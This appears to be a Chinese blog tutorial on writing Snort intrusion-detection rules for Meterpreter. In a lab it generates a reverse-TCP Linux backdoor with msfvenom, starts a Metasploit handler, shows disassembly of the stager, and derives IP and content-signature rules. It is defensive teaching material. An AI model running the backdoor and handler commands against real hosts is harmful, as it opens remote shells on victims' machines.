Fork me on GitHub

开源网络入侵检测系统-Snort实战

Snort是一个开源的网络入侵检测系统,根据官方文档简单地学习了一下使用方法之后试一下实战应用,实战对象就是大名鼎鼎的meterpreter。

安装Snort

安装Snort的方法网上有教程,因此就不多说了,最简单的方法就是apt-get。

Kali启动!

用Kali Linux中的msfvenom生成一个后门程序:

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.60.130 LPORT=6666 -f elf > shell.elf

生成好了

msfvenom后门分析

看一下msfvenom生成后门的情况,后门的大小只有207字节,十分短小精悍,实际上msfvenom生成的后门是有多种类型的,一种是生成一个完整的后门,后门中直接就有实现后门功能的代码,还有一种就是我们此次分析过程中用到的“微型后门”,运行后通过从黑客主机上加载真正的payload,称为反射型DLL注入,相比前者,后者更加隐蔽,后门难以被杀软发现,VT上60个反病毒引擎只有11个检测出来了:

winhex中木马的视图:

放到IDA中看一下反汇编结果,发现函数调用是通过int 80h(Linux系统调用)的方式来调用的,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
LOAD:08048057                 xor     ebx, ebx
LOAD:08048059 mul ebx
LOAD:0804805B push ebx
LOAD:0804805C inc ebx ; call
LOAD:0804805D push ebx
LOAD:0804805E push 2
LOAD:08048060 mov al, 102
LOAD:08048062 mov ecx, esp ; args
LOAD:08048064 int 80h ; sys_socketcall
LOAD:08048066 xchg eax, edi
LOAD:08048067 pop ebx
LOAD:08048068 push 10000010001111001010100011000000b //IP:192.168.60.130,虚拟机IP
LOAD:0804806D push 1010000110100000000000000010b //端口6666
LOAD:08048072 mov ecx, esp
LOAD:08048074 push 66h
LOAD:08048076 pop eax
LOAD:08048077 push eax
LOAD:08048078 push ecx
LOAD:08048079 push edi
LOAD:0804807A mov ecx, esp
LOAD:0804807C inc ebx
LOAD:0804807D int 80h ; sys_socketcall
LOAD:0804807F test eax, eax
LOAD:08048081 jns short loc_804809C
LOAD:08048083 dec esi
LOAD:08048084 jz short sys_exit_loc_80480C3
LOAD:08048086 push 162
LOAD:0804808B pop eax
LOAD:0804808C push 0
LOAD:0804808E push 5
LOAD:08048090 mov ebx, esp ; req
LOAD:08048092 xor ecx, ecx ; rem
LOAD:08048094 int 80h ; LINUX - sys_nanosleep
LOAD:08048096 test eax, eax
LOAD:08048098 jns short loc_8048057
LOAD:0804809A jmp short sys_exit_loc_80480C3
LOAD:0804809C ; ---------------------------------------------------------------------------
LOAD:0804809C
LOAD:0804809C loc_804809C: ; CODE XREF: start+2D↑j
LOAD:0804809C mov dl, 7
LOAD:0804809E mov ecx, 1000h
LOAD:080480A3 mov ebx, esp
LOAD:080480A5 shr ebx, 0Ch
LOAD:080480A8 shl ebx, 0Ch
LOAD:080480AB mov al, 125 ; sys_mprotect
LOAD:080480AD int 80h ; LINUX -
LOAD:080480AF test eax, eax
LOAD:080480B1 js short sys_exit_loc_80480C3
LOAD:080480B3 pop ebx
LOAD:080480B4 mov ecx, esp
LOAD:080480B6 cdq
LOAD:080480B7 mov dh, 0Ch
LOAD:080480B9 mov al, 3
LOAD:080480BB int 80h ; LINUX - sys_read
LOAD:080480BD test eax, eax
LOAD:080480BF js short sys_exit_loc_80480C3
LOAD:080480C1 jmp ecx
LOAD:080480C3 ; ---------------------------------------------------------------------------
LOAD:080480C3
LOAD:080480C3 sys_exit_loc_80480C3: ; CODE XREF: start+30↑j
LOAD:080480C3 ; start+46↑j ...
LOAD:080480C3 mov eax, 1
LOAD:080480C8 mov ebx, 1 ; status
LOAD:080480CD int 80h ; LINUX - sys_exit

经过分析可以得出此木马的大致流程:

后门通信流量分析

将后门程序复制到Ubuntu中,在运行之前在Kali上打开Wireshark和MSF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(multi/handler) > set LHOST 192.168.60.130
LHOST => 192.168.60.130
msf exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.60.130:6666

Wireshark开启抓包之后就可以启动Ubuntu上的后门程序了,一运行这个后门程序,Kali中就马上接收到了弹回的Shell,在进行几个常见后门控制命令的操作之后停止抓包对数据包进行分析。

流量分析思路

此处对流量分析有两个思路,一个是直接对木马server端IP和端口进行检测,另一个就是通过识别流量特征来进行检测。

由于木马端的IP和端口是固定的,所以规则很好编写,在这里就不再多说,重点放在通信数据包的内容识别上,下面是攻击机与受害主机通信过程中数据放在binwalk中的识别结果,可见binwalk识别出了这些数据中包含一个ELF文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ⚡ root@Kali ~/Snort_test binwalk -e pack.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
106 0x6A ELF, 32-bit LSB shared object, Intel 80386, version 1 (SYSV)
603274 0x9348A Base64 standard index table
607677 0x945BD Unix path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
617386 0x96BAA Base64 standard index table
629219 0x999E3 Unix path: /usr/bin/ntlm_auth
630378 0x99E6A Base64 standard index table
633932 0x9AC4C PEM certificate
639609 0x9C279 PEM RSA private key
639850 0x9C36A SHA256 hash constants, little endian
640266 0x9C50A Base64 standard index table
647099 0x9DFBB Unix path: /sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq
647878 0x9E2C6 Unix path: /sys/class/net/%s/speed
648311 0x9E477 Unix path: /dev/disk/by-uuid
649497 0x9E919 Copyright string: "Copyright 1995-2013 Jean-loup Gailly and Mark Adler "
652665 0x9F579 Copyright string: "Copyright 1995-2013 Mark Adler "
655530 0xA00AA CRC32 polynomial table, little endian
659626 0xA10AA CRC32 polynomial table, big endian
667154 0xA2E12 Unix path: /usr/local/bin:/bin:/usr/bin
669796 0xA3864 Unix path: /var/run/nscd/socket

可以从Wireshark中看到流量的高峰值,此时应该是正在传输用于反射型DLL注入的数据

将数据文件直接放到IDA中进行分析可以看到ELF部分的代码逻辑,由于没有正确的修复ELF文件头,且偏移位置也未手动修复,所以IDA无法正确识别出导入函数导出函数等部分,但是这不重要了,多次测试meterpreter传递的数据,发现针对此攻击环境数据包的内容并无明显变化,尤其是ELF文件部分前后测试中完全一致,因此可以初步推测meterpreter针对于同一后门文件并无数据混淆, 那么就可以将数据包中的部分具有特征的数据作为特征值进行匹配了,与此同时应该注意选取的特征值应该具有一定的辨识性,避免误报情况的产生。

规则编写

攻击机IP(Kali Linux):192.168.60.130

受害者IP(Ubuntu):192.168.60.131

定义变量

1
2
var Attacker_NET $(Attacker_NET:-192.168.60.130/24)
var Victim_NET $(Victim_NET:-192.168.60.131/24)

在确定木马IP地址的情况下可以直接编写规则alert一切与木马server端IP通信的数据包

规则有多种不同的实现方式:

  • 对主机与恶意IP的所有数据包警报:
1
alert tcp Attacker_NET any <> Victim_NET any (msg: "A malicious IP attack was detected";sid:1)
  • 对通信过程中的某些数据警报:
1
alert tcp Attacker_NET any <> Victim_NET any (content:"|6D626564746C735F706C6174666F726D5F656E74726F70795F706F6C6C00657865637665006D626564746C735F6374725F647262675F72616E646F6D0077656263616D5F73746F70005F696E69740077656263616D5F7374617274005F5F676D740077656263616D5F6765745F6672616D65006D61696E00617564696F5F6D69635F6C6973740077656263616D5F6C697374005F66696E6900617564696F5F6D69635F737461727400617564696F5F6D69635F73746F70006D626564746C735F783530395F6372745F70726F66696C655F64656661756C74006D626564746C735F656E74726F70795F66756E63|";msg:"Malicious file detecteds";sid:2)

规则编写无明确的限制,个人认为规则的标准在于效率和准确率。

应用规则

注释掉除了自己的规则以外的其他所有规则:

1
sudo snort -c /etc/snort/snort.conf -A console

检测结果:

检测成功

感想

Snort是一款好工具,废话,但是在实验过程中发现由于性能问题,有的数据包会来不及处理,这可能是Snort在实际环境中部署时需要解决的问题。而且觉得类似于此类规则匹配的IDS应该可以与机器学习结合一下,规则不再需要网络安全管理员手动添加,而是根据机器学习智能化识别,或许是一个很不错的想法。

您的支持是我最大的动力🍉